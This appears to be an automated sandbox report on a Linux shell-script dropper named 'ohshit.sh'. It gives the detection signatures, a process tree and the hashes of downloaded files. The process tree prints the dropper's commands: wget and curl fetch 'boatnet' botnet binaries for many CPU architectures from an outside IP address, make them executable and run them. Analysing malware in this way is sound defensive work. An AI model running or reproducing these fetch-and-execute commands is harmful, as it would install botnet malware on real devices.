Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260127-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31/03/2026, 12:30

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample260331-pps39saw5j
  • SHA256 ac12224d300baa85a2ccb8becb3f9cc01c6165ea77a0f41cc17e14f6d7ea4185
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 15 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 9 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:710
    • /usr/bin/wget
      wget http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://176.65.139.59/hiddenbin/boatnet.aarch64
      2⤵
      • Writes file to tmp directory
      PID:730
    • /bin/cat
      cat boatnet.aarch64
      2⤵
        PID:737
      • /bin/chmod
        chmod +x boatnet.aarch64 ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/WTF
        ./WTF
        2⤵
          PID:739
        • /usr/bin/wget
          wget http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:742
        • /usr/bin/curl
          curl -O http://176.65.139.59/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:743
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:744
          • /bin/chmod
            chmod +x boatnet.aarch64 boatnet.arc ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/WTF
            ./WTF
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://176.65.139.59/hiddenbin/boatnet.armv4l
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/cat
              cat boatnet.armv4l
              2⤵
                PID:751
              • /bin/chmod
                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:753
              • /tmp/WTF
                ./WTF
                2⤵
                  PID:754
                • /usr/bin/wget
                  wget http://176.65.139.59/hiddenbin/boatnet.armv5l
                  2⤵
                  • Writes file to tmp directory
                  PID:757
                • /usr/bin/curl
                  curl -O http://176.65.139.59/hiddenbin/boatnet.armv5l
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:765
                • /bin/cat
                  cat boatnet.armv5l
                  2⤵
                    PID:777
                  • /bin/chmod
                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:778
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:780
                    • /usr/bin/wget
                      wget http://176.65.139.59/hiddenbin/boatnet.armv6l
                      2⤵
                      • Writes file to tmp directory
                      PID:782
                    • /usr/bin/curl
                      curl -O http://176.65.139.59/hiddenbin/boatnet.armv6l
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:791
                    • /bin/cat
                      cat boatnet.armv6l
                      2⤵
                        PID:804
                      • /bin/chmod
                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:807
                        • /usr/bin/wget
                          wget http://176.65.139.59/hiddenbin/boatnet.armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:809
                        • /usr/bin/curl
                          curl -O http://176.65.139.59/hiddenbin/boatnet.armv7l
                          2⤵
                          • Writes file to tmp directory
                          PID:812
                        • /bin/cat
                          cat boatnet.armv7l
                          2⤵
                            PID:813
                          • /bin/chmod
                            chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:814
                          • /tmp/WTF
                            ./WTF
                            2⤵
                              PID:815
                            • /usr/bin/wget
                              wget http://176.65.139.59/hiddenbin/boatnet.i486
                              2⤵
                              • Writes file to tmp directory
                              PID:817
                            • /usr/bin/curl
                              curl -O http://176.65.139.59/hiddenbin/boatnet.i486
                              2⤵
                              • Writes file to tmp directory
                              PID:818
                            • /bin/cat
                              cat boatnet.i486
                              2⤵
                                PID:819
                              • /bin/chmod
                                chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:820
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:822
                                • /usr/bin/wget
                                  wget http://176.65.139.59/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:825
                                • /usr/bin/curl
                                  curl -O http://176.65.139.59/hiddenbin/boatnet.m68k
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:834
                                • /bin/cat
                                  cat boatnet.m68k
                                  2⤵
                                    PID:844
                                  • /bin/chmod
                                    chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:845
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:847
                                    • /usr/bin/wget
                                      wget http://176.65.139.59/hiddenbin/boatnet.mips
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:849
                                    • /usr/bin/curl
                                      curl -O http://176.65.139.59/hiddenbin/boatnet.mips
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:858
                                    • /bin/cat
                                      cat boatnet.mips
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:861
                                    • /bin/chmod
                                      chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:862
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Deletes itself
                                      • Changes its process name
                                      • Reads runtime system information
                                      PID:863
                                    • /usr/bin/wget
                                      wget http://176.65.139.59/hiddenbin/boatnet.mipsel
                                      2⤵
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:865
                                    • /usr/bin/curl
                                      curl -O http://176.65.139.59/hiddenbin/boatnet.mipsel
                                      2⤵
                                      • Reads runtime system information
                                      • System Network Configuration Discovery
                                      • Writes file to tmp directory
                                      PID:867
                                    • /bin/cat
                                      cat boatnet.mipsel
                                      2⤵
                                      • System Network Configuration Discovery
                                      PID:868
                                    • /bin/chmod
                                      chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:869
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:870
                                      • /usr/bin/wget
                                        wget http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:872
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.59/hiddenbin/boatnet.mipsrouter
                                        2⤵
                                        • Reads runtime system information
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:873
                                      • /bin/cat
                                        cat boatnet.mipsrouter
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:874
                                      • /bin/chmod
                                        chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter ohshit.sh systemd-private-a3300307d35745bbb271cee544c3d57b-systemd-timedated.service-dhfayF WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:875
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Deletes itself
                                        • Changes its process name
                                        • Reads runtime system information
                                        PID:876
                                      • /usr/bin/wget
                                        wget http://176.65.139.59/hiddenbin/boatnet.powerpc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:878
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.59/hiddenbin/boatnet.powerpc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:883
                                      • /bin/cat
                                        cat boatnet.powerpc
                                        2⤵
                                          PID:884
                                        • /bin/chmod
                                          chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc ohshit.sh WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:885
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:886
                                          • /usr/bin/wget
                                            wget http://176.65.139.59/hiddenbin/boatnet.sh4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:888
                                          • /usr/bin/curl
                                            curl -O http://176.65.139.59/hiddenbin/boatnet.sh4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:889
                                          • /bin/cat
                                            cat boatnet.sh4
                                            2⤵
                                              PID:890
                                            • /bin/chmod
                                              chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 ohshit.sh WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:891
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:892
                                              • /usr/bin/wget
                                                wget http://176.65.139.59/hiddenbin/boatnet.sparc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:894
                                              • /usr/bin/curl
                                                curl -O http://176.65.139.59/hiddenbin/boatnet.sparc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:895
                                              • /bin/cat
                                                cat boatnet.sparc
                                                2⤵
                                                  PID:896
                                                • /bin/chmod
                                                  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc ohshit.sh WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:897
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:898
                                                  • /usr/bin/wget
                                                    wget http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:900
                                                  • /usr/bin/curl
                                                    curl -O http://176.65.139.59/hiddenbin/boatnet.x86_64
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:901
                                                  • /bin/cat
                                                    cat boatnet.x86_64
                                                    2⤵
                                                      PID:902
                                                    • /bin/chmod
                                                      chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc boatnet.x86_64 ohshit.sh WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:903
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:904

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          WTF

                                                          • Path /tmp/WTF
                                                          • Size 121KB
                                                          • SHA256 cecaed0ffe519c83d77655e1c2f3409fa795fc97917fe9a258f2473b1f84788d
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                          WTF

                                                          • Path /tmp/WTF
                                                          • Size 114KB
                                                          • SHA256 128396e00e8d7f3b3ae0ea8764c8d05448861a825e872d729013768537c0fdde
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                          WTF

                                                          • Path /tmp/WTF
                                                          • Size 110KB
                                                          • SHA256 3f064c305e1210001e661ebc6154f3f4f71a1de02a495a70bb266cdb50997377
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                          WTF

                                                          • Path /tmp/WTF
                                                          • Size 197KB
                                                          • SHA256 a5c68825651a760d78a128fa1baa239fe6d4fa5e6e8636c7775c98dc43ba64b3
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                          boatnet.aarch64

                                                          • Path /tmp/boatnet.aarch64
                                                          • Size 153KB
                                                          • SHA256 f20991717b62d88a44b917df63021187bdee72b4c92a7773eb66531f86c3a43f
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH